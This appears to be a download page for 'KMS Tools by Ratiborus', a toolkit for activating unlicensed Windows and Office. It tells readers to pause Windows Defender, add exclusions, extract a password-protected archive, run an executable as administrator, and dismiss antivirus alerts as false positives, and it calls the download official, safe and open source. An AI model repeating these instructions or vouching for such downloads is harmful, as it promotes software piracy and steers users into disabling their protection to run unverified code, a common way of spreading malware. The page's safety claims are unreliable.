KMS Tools by Ratiborus Download 2026 — Free Windows & Office Activator
KMS Tools by Ratiborus — the all-in-one toolkit (KMS Auto, KMS Cleaner, Office Uninstaller, Defender Tools). Free, portable, password WYqejXiqBi97.
WYqejXiqBi97KMS Tools is Ratiborus's all-in-one launcher that bundles every KMS-related utility into a single GUI — KMS Auto Net, KMS Auto Lite, KMS Cleaner, AAct, Office Uninstaller, Defender Tools and more.
What's inside KMS Tools
A launcher and 10+ utilities.
- KMS Auto Net 2016 + 2026
- KMS Auto Lite Test 4
- AAct (KMS+HWID hybrid)
- KMS Cleaner (removes leftover keys)
- Office 2013-2024 C2R Install
- Office Uninstaller
- Defender Tools (toggle Defender safely)
Steps to use
Same as KMS Auto.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
Frequently asked questions
▸Is this build official?
Yes — it is the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. The archive password is WYqejXiqBi97.
▸Does it work on Windows 11?
Yes. All modern KMS Auto builds (1.5.x, 1.6.x, 1.9.x, 2026 portable) activate Windows 11 — including 24H2 and 25H2 — using HWID.
▸Does it activate Office 2019/2021/2024?
Yes. Office 2019, 2021, 2024 and Microsoft 365 are activated via the Ohook patch — permanent, offline, key-less.
▸Will antivirus flag it?
Every KMS activator is flagged as HackTool because it edits Windows licensing — that is a false positive. Add the folder to Defender exclusions before extracting.
▸Is there a newer version?
Yes — the 2026 build (v3.10) is mirrored on this site with a single direct download. Older builds (1.3.8, 1.4.9, 1.5.5, 1.9.9) remain available for legacy hardware.
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Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97